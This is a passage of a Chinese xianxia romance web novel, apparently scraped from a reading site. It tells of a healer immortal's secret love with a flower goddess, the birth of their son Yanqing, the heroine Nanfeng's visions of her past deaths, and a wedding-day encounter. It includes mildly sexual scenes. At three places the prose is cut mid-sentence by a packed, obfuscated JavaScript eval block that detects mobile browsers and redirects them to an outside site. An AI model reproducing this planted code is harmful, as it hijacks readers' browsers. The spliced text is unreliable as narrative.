疏花元君抚上他的脸:“人生十有八九不如意。何况是仙?” 疏花突然吻上消沉之人的唇。花香瞬间淹没了葛榆的理智,他紧紧抱住她,仿佛要将她揉进骨血。 “蓬莱仙岛与人间、天宫的时间流速不同。”分开时疏花元君喘息着说,“蓬莱三日,天宫不过一时辰。"她指尖轻划,似有红艳牡丹在葛榆脖颈胸前疯长,“医仙可愿与我在此,偷渡浮光?” 葛榆凝视她许久,郑重地取出一根红绳系在两人手腕上:“人间习俗,结发为夫妻。” 疏花眼中含泪,拔下鬓边珠花系在绳上:“此簪为凭。若无今生,来世,生生世世,结为夫妻。哪怕沦为凡尘一粒,我们不再分开。” 他们在花海中相拥而卧,不知今夕何夕。 这样的秘密相会持续了又两年。葛榆每次都会带来特制的香囊,掩盖交合的气息。疏花则用仙法混淆天机,让巡界天兵察觉不到异常。 直到那个雨夜。 雨幕如织,将竹舍笼罩在氤氲水汽中。檐下风铃叮咚,却掩不住屋内急促的喘息。 疏花元君在葛榆怀中突然干呕起来,脸色煞白。葛榆指尖搭上她腕脉,神色几变——先是困惑地蹙眉,继而瞳孔骤缩,最后竟连把脉的手都颤抖起来。 疏花抚上小腹,仙识扫过的瞬间,脸上血色褪尽。 葛榆突然将她拦腰抱起,在雨声中转了个圈。 “你别——”疏花笑着慌忙环住他脖颈“名字,可有好的想法?” 葛榆将她轻轻放回榻上,指尖描摹她眉眼说道:“我想以你我二人之名各取一字。” “葛、疏?”刚出口,疏花噗嗤笑出声,“不成不成,会被有心无心之人捉弄的。” “不。是——颜卿。” 葛榆一字一顿说出,在她掌心一笔一划写下。 疏花虽喜欢此名,转念一想又怕此名暴露了二人的私密。 “不如……颜转砚,卿化清。砚台承墨,清泉涤笔。” “一字如墨,一字清泉,愿他明辨是非,成为这乱世中的一盏明灯。” 转眼五个月过去,疏花元君用仙法遮掩日渐明显的孕相,但侍女青蕊还是起了疑心。 “元君近来气色不佳,可要请药王看看?”一日更衣时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056808|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,青蕊试探道。 疏花强自镇定:“无妨,只是修炼出了些岔子。” 青蕊目光扫过她微微隆起的腹部,没再说什么。但疏花元君知道,这侍女是墨神派来的眼线,处处都得小心提防着。 可千防万防,此事最终还是被青蕊发现。 情急之下,葛榆想到了同在蓬莱仙岛的好友,方大仙。 “偷情偷到蓬莱第几宫了?” 方大仙抱臂站在门口,居高临下审视前来求助的葛榆。 葛榆无心理会调侃:“不是说笑的时候。可有什么办法?” “办法是有,不多此事躲得了一时,躲不了一事,你们终究还是得分开。” 葛榆声音低沉:“我知道……从一开始就知道。眼下,是保住疏花和砚清要紧。” 当“砚清”二字脱口而出时,方大仙神色骤变:“砚清?” “我们为孩子取名砚——啊!”葛榆同一时间恍然大悟,“桑竹预言中的……南风的情劫?” 方大仙急道:“速速带我去!你若不行,砚清交给我来养!” “……不行。” 西雨即刻赶去寻找到青蕊,消除她的记忆。奈何晚到一步,青蕊已经此事告知墨神身边的侍女。墨神知晓,迫在眉睫。 黑云压低,雷声大作。狂风暴雨顷刻浇下。 绝世仙骨,降临世间。 葛榆跪在榻前,轻抚疏花憔悴的脸庞:“别怕,总有办法的,我会保住砚清。” 疏花元君听完沉默良久,最终含泪点头。 生产那日,百花秘境内万花齐放,香气冲天。疏花紧抓葛榆的手,东婝在一旁忙前忙后,父子三人守在秘境入口。孩子哭声嘹亮,眉目像母亲,生来便有药香萦绕。 “砚清……是砚清……”疏花元君虚弱地哭诉,“娘亲不能看着你长大……爹爹……也不能是你的爹爹……” 葛榆抱着孩子心如刀绞:“砚清会明白的。” 疏花紧闭双眼,泪流满面。 方大仙的催促声在识海中响起:“时候不多,速速离开。” 葛榆最后一次亲吻疏花元君,抱着婴儿跟随方大仙离开。踏出秘境的瞬间,他听见身后传来心碎的哭声。 回到医鹿山,葛榆对外宣称在砚清是收养的孤儿。也从不许砚清唤自己父亲,只可称医仙。三百年间,葛榆与砚清形影不离,刻苦钻研。 十岁那年,葛榆带砚清游历至清溪山。山中几位散仙难得一见绝世仙骨,争相要收为弟子。最终葛榆只同意让砚清在清溪山修习两年。 与砚清一同修行的,还有一名年长他一千五百岁的仙,云枕书。 两人一见如故,相见恨晚,很快结为挚友。 “砚清为何总唤我枕书君?都怪你,大家都这么生分地唤我。” “‘君子博学而日参省乎己,则知明而行无过矣。’此话所言,不正是你吗?” “这算是……夸我吗?” “当然。” “那——砚清君?” “我就不必了吧。” “为何?你也博学好书,何不为君子?” “君子应是心胸清明,道德崇高之人。我……”砚清沉下眸子,“我不是。” 云枕书歪着头,“莫非你指那日,你说在书房见到的仙子画像?爱美之心,君子更甚!算不得。” “可若是脑中不自觉幻想与仙子循环之事,岂不龌龊?” “啊?你……想着仙子,去了?” 砚清迟疑片刻,“嗯。” 云枕书不禁感慨,“到底何方仙子?难道元君还要好看?我得去看看。” “元君?”砚清反问。 “嗯,东婝元君,算是我的……心仪之人。”元枕书涨红着脸,不过立马摆手解释,“元君不认识我呢!我这等小仙,还入不了元君的眼。” 夜里,砚清与云枕书潜入书房。可几番寻找,那日的画像再也寻不见。两人只好作罢。 坐在清溪山大殿前的石阶上,望着满天星河。两人啃着手里的果子,有一搭每一搭地聊着。 “不过,我大概能猜到你见到的画像是哪位仙子。” 砚清转头看他,“枕书君请讲。” “南风。”云枕书道,“东婝元君的妹妹。东婝元君的妹妹。虽年长我千余岁,但因从未离开蓬莱,倒像是同龄人。” “南风……”砚清轻声重复,这名字在唇齿间流转,莫名带着几分熟稔。 云枕书又回身指了指殿内的神像。 “赤方神仙的小女儿。说来,赤方神仙与医仙交好,你何不借修习之名,去蓬莱一探究竟?” 砚清仰头望向星河,良久才道:“不必。” 夜风卷起他的衣角,带着某种宿命般的笃定—— “我有预感……终有一日,自会与她相逢。” 96. 别来春半 画面定格在少年砚清仰望星河的侧颜,他眼中映着万千星辰,那句“终会相遇”的誓言犹在耳畔。 我的指尖微微发颤,悬在半空想要触碰那个记忆中的身影。 “既然砚清他……一直都……” 声音哽咽在喉间。 “为何现在却……这般……” 娘亲的手轻柔抚过我的发梢:“让我们把时间再往前些。”她指尖在水镜上轻划,涟漪荡漾,“回到南风第一次奔赴旷野之时。” “是……我跳江那次?” 我下意识攥紧了衣角。 娘亲摇头,水镜中的景象渐渐清晰。 “但不是旷野。而是在江对面的……西洲孤岛。” 梅林深处,娘亲一袭翠羽霓裳静立身侧。熟悉感如潮水般涌来,我恍惚开口: “我好像……梦见过这里?” “是,那日你在竹村醒来前的梦境,被东婝抹去了。” 娘亲的指尖点上我的额头,忘却的梦境忽地展开。 “我想起来了!前面是……”我猛然指向远处,“江对岸就是旷野。我曾劝阻一个姑娘跳江——” 声音戛然而止。 “那人竟是我自己?!” 江风凛冽,记忆的撕扯更令人窒息。我攥紧衣襟,不敢深想。每一分回忆都像在胸腔里塞满冰碴。 我到底为何在此,为了救……贺祈源吗?可砚清不是救了他?好乱…… 恍惚间,断崖边一抹白影攫住我的视线。 “娘亲?那个人,是不是柳砚清?” 转身时,身侧已空无一人。 白衣仙人静立崖边,眉间凝着化不开的郁色。这不是梦境,而是三百年前真实发生的过往。 原来那时,他就这样在西洲孤岛,默默注视着我? 僵持许久,江对岸的“我”纵身跃下。下一秒,那道白影毫不犹豫地随入江中。 “他也跳了?!”我惊呼出声。 娘亲的声音忽然在耳畔响起:“那孩子得去救你啊。” “那刚才为何……” 为何不在我纵身入江前制止我? “凡心最恼人的,便是妒这一窍。”娘亲轻抚我的发,“记得吗?这是你第一次殒命。那日之前……” 记忆的迷雾渐散,凤冠霞帔的身影浮现镜中。 “颜卿的……婚宴?” “嗯。你当众悔婚,转头却与另一人情定三生。” “那他为何……”我喉头发紧,“为何还要救我?” 娘亲望着江面启齿道:“砚清是在凡间长大,看着医仙夜夜思念花神的爱意中长大的。痴情的人养育出的孩子,多少也沾点痴情吧。” 我苦笑。 “痴情到他可以眼睁睁看着我和别人欢愉……这是病吧?” 娘亲忽然掩唇轻笑,眼尾漾起温柔的纹路。 “若你知道他不愿告诉你的真相,你只会觉得他疯病得更厉害。” “娘亲知道那个真相?”我猛地抬头。 “那是自然。”她抬手轻抚我的发顶,指尖带着几分怜惜,“娘亲可是死撑着最后一口气看完南风未来的人呐。不过,第一重生后,也是你上一次光临霜洲地界,只差一点就能看到自己的未来了呢。” 我困惑地皱眉:“我没明白。” “那本记载你们四人命数的天书,就藏在云枕书的书阁里。当年他亲手交予你,偏巧你刚与砚清吵完架,赌气说不看。云枕书特意强调事关砚清,你倒好……”她忽然学着我的样子叉腰瞪眼,“那更不看了!” 惟妙惟肖的模仿让我耳根发烫,羞愧难堪。 “等等……”我忽然抓住关键,“我和砚清吵架了?第一次重生后?为了什么?” 娘亲轻叹:“那时的你记忆残缺,整日郁郁寡欢。是砚清带着你悬壶济世,看遍人间悲欢,才解开你的心结。”她意味深长地顿了顿,“结果你转头就要与他成亲。” 我顿时羞愤交加,恨不得给过去的自己一拳:“所以……我刚逃了颜卿的婚,转眼就要与砚清……?” “而他拒绝了。于是某个小祖宗就炸了毛。” “所以他如今也不肯答应我,也是此事?”我急切地追问。 娘亲却神秘地眨眨眼,衣袖轻挥间,水镜泛起涟漪。 “这个嘛——”她故意拖长了音调,“不如我们先去看看,南风的第二次离世?” 旷野无垠,死亡在这里具象成永恒。 黑云压顶,如铅块般沉甸甸地悬在头顶。岩浆在透明岩板下汩汩流动,映照出无数扭曲的人脸。 那些为求复生而永世困在此处的亡魂。裂缝间探出的枯草,像极了垂死之人从地底伸出的指骨。 雪花不是飘落的,是剐下来的。 每一片都带着锋利的寒意,割开皮肉,钉入骨髓。滚烫的泥浆裹住双腿,每挣扎一步,就撕下一块血肉。 视野里蒙着层擦不净的血雾,喉咙里堵着烧红的炭,发不出半点声响。 冰霜爬上指尖,羽带坠入泥潭。耳边是千万只蝇虫的嗡鸣,细密的刺痛顺着耳道钻进脑髓,连自己的心跳都被淹没。 我拼命眨眼,徒劳地想看清什么。可每一次睁眼,黑暗就更深一分。 血腥味引来了蜉蝣。 这些死亡的信使从四面八方涌来,麻痒的触感顺着指尖蔓延。 它们钻进耳蜗,爬过后颈,啃噬着每一寸裸露的血肉。最后一点微光也被吞噬殆尽。 我松开了攥紧的拳头。 垂落的手碰到腰间的匕首,金属的冰凉竟让人感到一丝慰藉。 “是贺祈骁给我的那把匕首……贺祈源送我的?” 站在“自己”身侧,我死死盯着眼前的一幕,要将这剜心蚀骨的画面烙进魂魄深处。 娘亲忽然执起绢帕,轻柔地拭过我的脸颊。 “怎么看自己,给自己看哭了?” 待视线清明,便见“我”已反握匕首,刀尖正对心口。 奇怪的是,我竟完全理解那个选择——当痛苦漫过咽喉时,死亡何尝不是解脱? 娘亲忽地轻拍我肩头。回首的刹那,整个世界轰然崩塌。 “他……他什么时候在那里的……” 她牵起我的手,掌心相贴的瞬间,时光如倒流的沙,溯回半个时辰前。 当“我”独自踏入旷野,肉身寸寸崩裂之时。 我死死闭着眼,睫毛颤抖如濒死的蝶,不敢回望。生怕一睁眼,便撞见那抹刺目的白。 他的衣袂、他的面容,或是他眼底破碎的光。 最终,我像被抽去全身筋骨,蜷缩在地,将脸深深埋进掌心,仿佛这样就能逃开现实。 原来,柳砚清始终如影随形,沉默地跟随在十步之外,像一道无声的阴影,直至亲眼目睹刀尖抵住心口。 “捅这里,可就一点活过来的办法都没有了。” 他的嗓音低哑,像是砂纸磨过枯木,又轻得像一缕即将消散的风。 一滴泪从我眼角滑落,坠入水面,没有激起涟漪,却像是惊醒了尘封多年的记忆。 那些我以为早已腐烂的、属于他的温度。 “娘亲……”我哽咽着唤她,嗓音支离破碎。 “嗯,娘在。”她应得极轻,却像一根浮木,让溺毙之人得以喘息。 “砚清他真的……真的病得不轻……” “傻孩子。”娘亲将我搂进怀中,叹息如羽毛,揉进我的发间,“你俩啊,差不到哪儿去。” 她的怀抱那样暖,可我的心却像被冰刃刺穿,疼得发不出声音。 原来最痛的不是生死相隔,而是明明近在咫尺,却谁都救不了谁。 旷野的风呼啸而过,卷起两人的衣袂,像是要将他们吹散。可他们却紧紧相拥,唇齿相依,仿佛 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“娘亲猜,是因为爱吧。按理说,唯有结为夫妻之人才能法术共通,心灵传音。所以,娘亲也无法解释,他为何能听见你的心声。” 我抬起手腕,露出那枚莹润的神石。 “有了这个,只要我在心里念他的名字,他就能听见,对吗?” “是。” 娘亲点头,却又轻轻补了一句。 “不过,纵使你不呼唤……他也会赶到你身边的。” 我望着旷野上那道孤寂的白影,忽然笑了。 “我知道。” 风卷起雪沫,模糊了视线。我知道,无论何时回头…… 他永远都在。 走出幻境,竹影婆娑,细碎的阳光透过叶隙洒落一地斑驳。娘亲拉着我在青石上坐下,指尖轻轻拂过我的长发。 “来,娘给你梳梳头。” 我乖顺地靠在她并拢的腿上,木梳的齿尖温柔地穿过发丝,像春风抚过湖面,漾起细微的痒。竹叶沙沙,仿佛在低语。 “娘亲……”我犹豫片刻,还是开口,“那个叫贺祈源的人,我从前……很喜欢他吗?” 梳子微微一顿,随即又继续滑落。 “谁知道呢。”她的声音轻得像一缕烟。 我仰起头,怔怔地望着她。竹影在她眉眼间摇曳,看不清神情。 “我想救他,白白送死两次,却两次都被砚清拦下……砚清若是早点告诉我真相,我何必绕这么大一圈?” 娘亲轻笑一声:“终于发现盲点了?” “他故意的吧!”我鼓起腮帮,气得直蹬腿,“就爱看我犯傻是不是?” “你爹爹那个老顽固,他不许的事,谁敢违逆?”娘亲无奈地摇头,“砚清那孩子,最是尊师重道,他师傅不发话,他哪敢多嘴?” 清风徐来,竹海翻涌成浪。娘亲变戏法似的从袖中取出那支青竹发簪。灵巧的手指穿梭在发间,编起细细的辫子。 “娘亲,”我忽然歪着头问,“贺祈源很帅吗?” “十九岁的少年将军,剑眉星目,笑起来像个小太阳。战场上能一骑当千,提笔又能画尽山河。” 她轻轻将簪子别进我的发间。 “你在医鹿山翻过的那本梅图集,便是他的手笔。颜卿信州厢房里挂的那幅竹林月下图,也是他画的。” “哇……”我眨了眨眼,“文武双全的天才啊。所以我就……深陷其中,无法自拔?” 娘亲忽然捧起我的脸,目光温柔而通透。 “但在娘亲看来,南风对那少年,虽有情意,更多的……却是亏欠。” 她的拇指抚过我泛红的眼角。 “他不像爱人,倒像……一个永远还不了债的恩人。” 97. 梦觉春风 “第一世,贺祈源因我而死,我甘愿赴死以报恩情。可第二世重逢时,我忆起过往,偏又因柳砚清不肯与我相守,才应下他的婚事……我未能偿还的恩情,反倒让柳砚清替我了结,成了贺祈源的恩人?” 娘亲轻笑着抚了抚我的发顶,“你呀,就是太执拗,做事不爱动脑子,跟你爹一个德行!” “爹爹他……确实有时候行事莽撞……” “小子别说老子。”她轻叹一声,“也怪我身子不争气,走得太早。北雷和东婝是我一手带大的,还算懂事。可你和西雨啊……唉。” 她的叹息里糅杂着无奈与欣慰。我侧过身,将头轻轻靠在她膝上。 “哥哥和二姐待我极好,我刚醒时,他们还扮成看诊的病人,耀武扬威地闯进来,可把我吓坏了,还当是哪里来的恶人……” “他俩就爱这般逗你。”她拍了拍我的肩,“好了,坐正了说话。” 我乖乖直起身子。 “娘亲说我们数年未见……莫非这三千年里,我们曾在何处相逢?” “想起来了?” “没有。” “在地府。”她眸光微深,“或许,下次再见,也会是那儿。” “啊?”我猛地回头,“我又要死了?!” “傻孩子,净说晦气话!”她屈指敲了下我的额头,“你忘了自己在地府留了什么?” “地府……黑无常……啊!是那副绝世仙骨!” “可怜我的小孙儿,竟被亲娘忘了个干净。” “才没有呢!”我急忙辩解,“除夕那夜,我还同砚清提起过。对了娘亲,那孩子至今还没个正经名字,您给取一个吧?” “我那孙女叫什么?” “星辰。” “星辰啊……”娘亲沉吟片刻,“南风,你心里早有了主意,是不是?” “我……我想用娘亲的名字为他命名,可又怕冒犯……” “这有何不可?”她眉眼舒展,“娘亲准了。” “真的?!那便叫‘竹竹’了!” “竹竹?”她嘴角一抽,“……换一个吧。” “我就知道不行……” 忽然,风起,竹海翻涌如浪。我仰头望着簌簌作响的翠色,怔怔出神。 “那孩子……会恨我吗?” “或许会。” “那我……该怎么办?” “好好活着。”娘亲的声音轻而坚定,“待一切尘埃落定,再以母亲的身份,把亏欠他的爱……一点一点补回来。” 我听出她话里的深意,不由轻笑:“娘亲,我不恨你,也从不觉得你亏欠我什么。你看,我过得很好,真的。” 娘亲眉心微蹙,忽然伸手将我紧紧搂住。 “娘亲知道……”她的声音发颤,“三千年来,娘亲一直看着你……护着你……每次在地府见到你伤痕累累地出现,娘亲的心就像被刀绞一样……南风,答应娘亲,这次一定要好好活下去,好不好?” “娘亲别哭。”我抬手拭去她脸上的泪,指尖触到一片冰凉,“我答应你,这一次……结局一定会不一样。” 走出水镜的刹那,我仍忍不住回望那片竹林。幽径深处,娘亲静立石台旁,素手轻抬,衣袖在风中微微翻飞。我用力挥动手臂,直到水镜泛起涟漪,竹影与她的轮廓一同在波光中淡去。 镜面恢复沉寂,我伫立良久,指尖触碰冰冷的镜面,却再也寻不到那片竹海的温度。 洞外天光倾泻,哥哥与二姐早已离去,唯有砚清静立原地,衣袂如墨,仿佛一幅凝固的画卷。我倏然屏息—— 他站在那里,像一场太过美好的幻觉。 踉跄着走近,颤抖的双手捧住他的脸庞。冰凉的触感从掌心传来,却让我确信他的真实。 “怎么了?”他低声问。 我怜悯地细细描摹他的眉目,喉间发紧:“你病了,我给你治病。” 仙人眸中浮起困惑,却任由我踮起脚尖将唇贴上他的。这个吻带着咸涩,不知是谁的泪先落了下来。 可怜的仙人啊,病入膏肓的人呐。 “疯病难医。”我收紧指节,将他困在掌心的方寸之间,“我要你应我,此生永不踏出我的视线,什么为我牺牲、替我考量……统统不作数。” 泪眼朦胧中,我看见他瞳孔微颤。 “颜卿就是砚清。”我抵着他的额轻笑,“是三千世界独一个的砚清,谁都不能替代。” 山风穿过我们相贴的指缝,带着竹叶沙沙的余响。 “你不是答应过我吗?这次……不会再重蹈覆辙。”我摩挲着他眼尾的薄红,“若从前结局里我都不曾选择你,那么这一世——” 鼻尖相触,呼吸交缠。 “我们一起改写结局,好不好?” 我突然明白了曾经的自己到底在想什么,其实所有的一切早在遇见他时就已经注定结局。 到底是什么在心底作祟,让相爱的两个人总是无法走在一起。 他朝我走来时我总要后退,等我终于鼓起勇气奔赴,换来的却是他的转身。 三折戏文,三折无聊的戏文。 “砚清?” 唇分时,他素来清冷的眉眼竟染着几分狼狈。 我心尖发疼,指尖抚上他微红的眼尾。 “你说一句答应我,一切都结束了,我们去过平淡的日子,没有这些凡人琐碎的纠葛……好不好?哪怕不做神仙,只是寿命短暂的凡人,我们一起,只要和你一起……好不好?” 尾音淹没在他突如其来的拥抱里。 天旋地转间,我们已回到山洞。方才被打断的吻此刻化作燎原之火,他扣住我手腕的力道几乎要将我揉碎。 案上宣纸散落,墨汁溅开如星,可谁还在意这些? “砚清……”我跌坐在他腿上,声音染着水汽,“我……我想要你……” “嗯。”他滚烫的唇舌封住我所有言语。 “不是、不是这个意思……” “真的,不是吗?” 他含住我耳垂低语,冰凉指尖探入衣襟时,我浑身颤得不像话。冰凉探入温热,触碰到疏忽天地间的黏腻。 “不要离开我。永远……都不要离开。” 耳边只剩下他低沉的呼吸声。他手里稳稳抱着我,似乎察觉到了什么,我的手轻轻拍在他的后背上,却没能打断他的动作。 直到我几乎喘不过气,他才稍稍退开,额头抵着我的,呼吸微乱,眼底却带着一抹淡淡的笑意。 我红着脸瞪他,却见他低头看了眼指尖。 “你还看!” 我羞恼地咬他肩膀,却被他托着后脑再度吻住。这次温柔得让人心碎,仿佛在舔舐三千年来所有的伤口。 “请君试问东流水,别意与之谁短长……” 他指尖缠着我的一缕发丝,声音轻得像初春融化的雪水。 “比蓬莱第几宫的初见更早,早到,你我还未相遇。” 我脸上一热,埋进他的胸口:“那你倒是干脆一点……告诉我答案呐……” 仙人忽然收紧了环在我腰间的手臂。他低头时,唇瓣擦过我发烫的耳垂,却吐出一句带着颤音的: “抱歉……我不能……” 我尚未听清他的话,人已置身天地之外。 暴雨撞击岩壁的节奏越来越急,窗台上的桔梗花在剧烈摇晃中落了瓣。 梦觉春风,我仿佛钻进了砚清的梦中,回到了那天清溪山的“初见”。 那幅泛黄的画卷上,独坐礁石的仙子将竹笛横在唇边。海风卷起她素白的衣袂,可最刺痛砚清的,是她望向海浪时那近乎虔诚的期待——那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那年行医途中,我们在此歇过脚。” “原来如此……” 心尖忽然涌起雀跃,我拽着他便跑。青石板路上脚步声叠着笑声,穿过小巷时,他反手握紧了我的手腕。 拐出巷口,迎面撞上沸腾的人潮。 “哇!好热闹!那边是不是在游街?砚清,我们过去看看?” 我兴奋地转身,刹那,腕间红绳蓦地松垂。 方才还紧握的手,此刻只剩虚空。 “砚清?柳砚清!” 呼喊声淹没在锣鼓声中。我逆流奔寻,茶肆窗前没有,糖画摊边没有,连我们方才停留的柳树下,也只有一张张陌生的笑颜。 “骗子!”我攥着那截断开的红绳,喉咙发紧,“你说过不会逃的……” “听说江家今日办喜事,那排场可不得了!连城门口的乞丐都得了红封呢!” “可不是嘛,江老爷就这么一个独子,可不得大办特办!” 背后过路的人说起方才见到的热闹,我正郁闷当头,只想赶紧找到他。 顺着人潮,我又回到那条主街。 好大的气派,办个喜事整个京都都挂满红火灯笼, 长街一派热闹,喜乐不停。 “江家厉害啊……咱们颜知县的婚礼都没这阵仗。讨厌的人!到底去哪儿了……” 我站在路边踮起脚尖四处张望,视线划过马背上的新郎,突然,四目相对。 刹那间,满街喧嚣都凝固了。 “魏风?!” 我眨了眨眼,“……欸?” 98. 江风御雪 “等等等!你们误会了!我不是来抢亲的!我只是路过!” 马背上跳下的新郎手指骤然收紧,他眼底翻涌着难以名状的情绪,掌心温度烫得惊人。 “魏风……你活着回来了……” “松手!快松手!你想害死我吗?” 我拼命挣扎,压低声音吼道:“结婚就好好结,别拉无辜路人垫背啊!” 他死死攥着我的手腕,声音沙哑又眸光深情。 “你没死……你回来了……我终于盼到你回来了……” 我:“???” 大哥你谁啊!我们认识吗?! “大哥!大人!活祖宗!你先松手行不行啊!” 我急得额头冒汗,眼见围观的路人越来越多。 “吉时不能误,你先成亲!有什么恩怨,咱们秋后算账!不对,日后再谈!” 江御白深情款款,摇头拒绝:“不,我等这一天已经等了四年……” 我:“……” 这到底什么情况?! 双方争执不下,眼前的男人死死抓着我的不放。 街上的路人听到热闹哄拥而至,感觉整个京都百姓都来凑热闹,我站在最中心听得心烦。 眼看闹剧越闹越大,我焦急地在人群中寻找那抹熟悉的雪白,心底一直呼唤他的名字。 层层叠叠的人群中,我感受到一股不同寻常的视线。 他看向我,眼神中有淡然无比的无奈。 “他是你要寻的最后一人,江御白。” 识海里响起的声音如冰锥刺入,我猛地咬住后牙。 “骗子……你又故意陷害我!” “命定而已,顺应天命。” “不许用同样的话糊弄我!” 远处的仙人广袖垂落,仿佛从未开过口,可视线却缓缓掠过被仙术凝滞的喜幡、悬在半空的炮仗碎屑,最后定格在我被攥出红痕的手腕上。 时间静止。 柳砚清没有选择靠近我,隔着空间柔声安慰。 “我在,会误事。” “骗子!你又骗我!我讨厌你!” 我在识海里嘶吼,喉间发不出半点声响。 他忽然极轻地叹了口气,被他带走的玉笛在修长的手指间转了个圈。 “记忆尚未补全,我会在暗中保护你,不会有事的。” “哼!” 灵光溃散的刹那,满街百姓如梦初醒。 “我怎么在这儿?” “刚才发生了什么吗?” 江御白茫然松开手,却在看清我面容的瞬间瞳孔骤缩。 他嘴唇颤抖着,竟想在众目睽睽之下抬手抚上我脸颊,幸好被我一个妖娆侧身给躲开。 “吉时不能耽搁……”这话像是说给他自己听的。 我趁机抽回手,强笑道:“这就对了嘛。江大人快回迎亲的队伍吧。” “嗯……” 他踉跄后退两步,喜服上的金线在夕阳下泛起血色的光。 走出很远,他忽然又回头望来,嘴角扬起一个温柔似水的笑,用唇语道:“你还活着,真好。” 我怔在原地,思绪恍惚。 这个孩子……鬼附身了?前后差距怎么这么大? 江御白的婚礼办得极尽奢华。 红绸如血,从江府鎏金正门蜿蜒至内院,赤枣喜糖在地上铺成星河。 连府中百年老树的枝桠上都系满了朱砂写的祈愿符。 我蜷在廊柱阴影里,看着那对新人手持玉圭,在祖宗牌位前深深叩拜。 江家是赵国数一数二的富商,其产业遍布各州府。 江御白,江家独子,与京都商贾之女强强联姻。 据传闻,这场婚礼早该在四年前礼成,谁料江御白途中认识了一女子,非说那女子尚在丧期,不得成婚。 我站在江家宅院的一根梁柱后,盯着祭拜祖先的男女,脑海中穿插着听来的传闻。 “我已经弄不清时间……今夕是何年了。” 又是这样。 混乱的时间,错位的记忆,我像被困在一场反复醒不来的梦里,唯一能确定的是—— 这一次,祸端依旧因我而起。 柳砚清静立身侧,默然不语,冰凉的指尖轻轻勾住我的食指。 “不要总让自己陷入困境。” 我猛地扭头瞪他。 “骗子!” 怒意骤起,我抬腿便朝他后腰扫去。 仙人轻笑,身形微侧,衣袂翻飞间已避开我的攻势。我不依不饶,借力一拽,他顺势倾身而来,我屈膝直逼他腹间:“不许躲!” 柳砚清手腕轻转,掌心稳稳抵住我的膝击,反手便将我压向廊柱。 垂落的发丝扫过我因怒意发烫的脸颊,他嗓音低缓,带着几分无奈。 “这儿不是闹事的地方,乖一点。” “还不都怨你!告诉你,我这次没那么容易消气的!我也要学师尊当初在医鹿山对我那样对你!” “待会儿想吃什么?”他忽然问。 我咬牙切齿,一字一顿答:“吃、你!” 他低笑,指尖轻轻戳了戳我饿得发瘪的肚子:“此事……留待夜深再议。舟车劳顿,当真不饿?” “……饿。” 肚子咕噜咕噜叫半天了。远处酒宴倒是摆满佳肴,可惜我品尝不到。 我气势骤减,却仍不甘示弱。 “怎么?良心发现,想用美食收买我?” “身无分文之人,似乎没资格讨价还价。”他眸中含笑,可以调侃后又补了一句,“不过,此番确是赔罪。” “那我要吃京都最贵的酒楼!住最贵的客栈!” “修道之人,身无长物。” 我眯起眼,恶意满满地提议:“没钱好办呐,仙人不如给店家施个障眼法?或者支个摊子悬壶济世,赚足了银两再去还债?” 柳砚清摇头,眼底却漾开一丝纵容。 “就你鬼主意多。” “谁让你总惹我!” 我扯了扯他的手臂,晃着身子轻轻转了下仙长修长的身子。 “下次再敢跑,我的‘鬼主意’可不止这些!” 我们这般肆无忌惮地斗嘴,喜宴上却无人侧目。哪怕身后有喜娘跑过,也选择忽视。 想来,又是这仙人使了什么隐匿的术法。 “啊——饱了!” 从京都最贵的酒楼出来时,漫天星子已缀满夜空。 我们十指相扣,沿着灯火阑珊的长街漫步,任春风裹着市井的喧嚣拂过衣袂。我仰头望着仙人清隽的侧颜,忽然起了玩心。 “砚清!”指尖戳向他腰间,“我想看颜卿本来的模样” 他轻轻摇头,指节在我掌心摩挲:“并无不同。” “骗人!明明我瞧着就不一样。” “是你眼中不同。” “啊?”我瞪圆眼睛眨了眨,“你是在说我修为浅薄吗?” “又曲解我意。”他无奈叹息,“不过施了障眼法,才叫你看出差异。” “……只对我有效的障眼法?” 莫名地,心口窜起一股无名火。我倏地抽走手抱在胸前。 “呵,仙人当真好手段,将我耍得团团转呢。” 行至白日里经过的石桥,我忽然被岸边一株垂柳吸引。不由分说拽着他来到树下,在无人问津的角落里踮脚环住他的脖颈,将未尽的话语尽数封缄于唇齿之间。 “让我尽兴了……就告诉你星辰弟弟的名字。” “是哥哥。” “什么?”我猛地揪住他的衣襟,“是哥哥?!你如何知晓的?!” “我的骨血,自然清楚。” “也是我的骨肉,我偏不知!”我恼得去咬他下巴,“休想转移话题!老实交代!” “最贵的酒楼尝过了,最贵的客栈也订下了……”他指尖抚过我发烫的耳垂,“还想要什么?” “你。” 说完害臊的话,心底忽地升起无缘由的落寞。 患得患失,便是如此吧。 我垂眸看着砚清苍白的手背,泛白无温的掌心,悲从中来。 “总觉得明日醒来,你又会不见……” 柳砚清揽住我的腰肢猛然贴近,夜风掀起他雪白的衣摆,将我们缠绕成难分彼此的模样。 “你知道我会一直在的。” “可看不见你的时候,这里总是空落落的。” 我攥紧他胸前的衣料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056811|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,埋进他身体里。 